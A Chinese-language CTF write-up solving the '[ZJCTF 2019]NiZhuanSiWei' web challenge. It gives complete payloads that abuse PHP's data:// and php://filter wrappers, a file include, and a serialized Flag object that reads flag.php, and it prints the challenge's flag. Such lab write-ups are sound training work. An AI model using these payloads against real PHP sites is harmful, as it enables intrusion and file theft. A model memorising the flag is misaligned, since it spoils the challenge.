[ZJCTF 2019]NiZhuanSiWei 1
知识点:
data:// 写入数据
php://input 执行php
//filter 查看源码
解题思路
下面我们来看题吧,打开题目一看,直接是源码
我们需要get方式提交参数,text、file、password。
然后就是来到了第一个需要绕过的地方
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
要求text不为空,主要看下一句,file_get_contents($text,'r')==="welcome to the zjctf",从文件里读取字符串,还要和welcome to the zjctf相等。
这时候就用到了我们的data:// 写入协议了
于是我们先构造第一个payload:
?text=data://text/plain,welcome to the zjctf
得到这个页面
下面我们不能用flag.php来访问,因为被正则匹配,我们就拿不到反序列化后的password了。
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
下一个我们就该反序列化password了,但是我们又看到了useless.php文件包含,在这之前我们需要先读取里面的源码,然后将password反序列化出来。
于是我们构造第二个payload:
?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
这时候你会得到一串base64的编码,然后我们解码就得到了源码
将这行base64编码进行解码得到下面这行源码
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
得到源码之后,我们将这个源码中的$file赋值flag.php,反序列化一下
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password=new Flag();
echo serialize($password);
?>
然后可以找在线的php解释器执行一下
于是得到反序列化的password
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
这样我们重新构造最终的payload:
?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
来到此页面
然后ctrl+u或者是F12查看源码
得到flag{6a1723cb-0367-4ed7-8db9-10437275cd23}
总结一下:
第一步:首先拿到题目,审计源码,需要我们传递参数,需要我们写入数据,这里用到了伪协议 data://,然后file_get_contnets()读取里面的字符串与之匹配
第二步:不能够直接用flag.php直接访问,我们需要读取useless.php的源码,这时候用到了伪协议中的php://filter来读取,我们读取的字符串是base64格式的需要我们进行转码
第三步:构造反序列化,得到最终的password.
第四步:构造最终的payload,然后在源码中获得flag.
以后,尽量做的每一道题都有一个做题思路的总结吧。希望在学习的路上能够一片光明,有什么地方写的不对的,欢迎大家的指正。学习了这么久,发现自己还是啥也不是。唉 ,太难了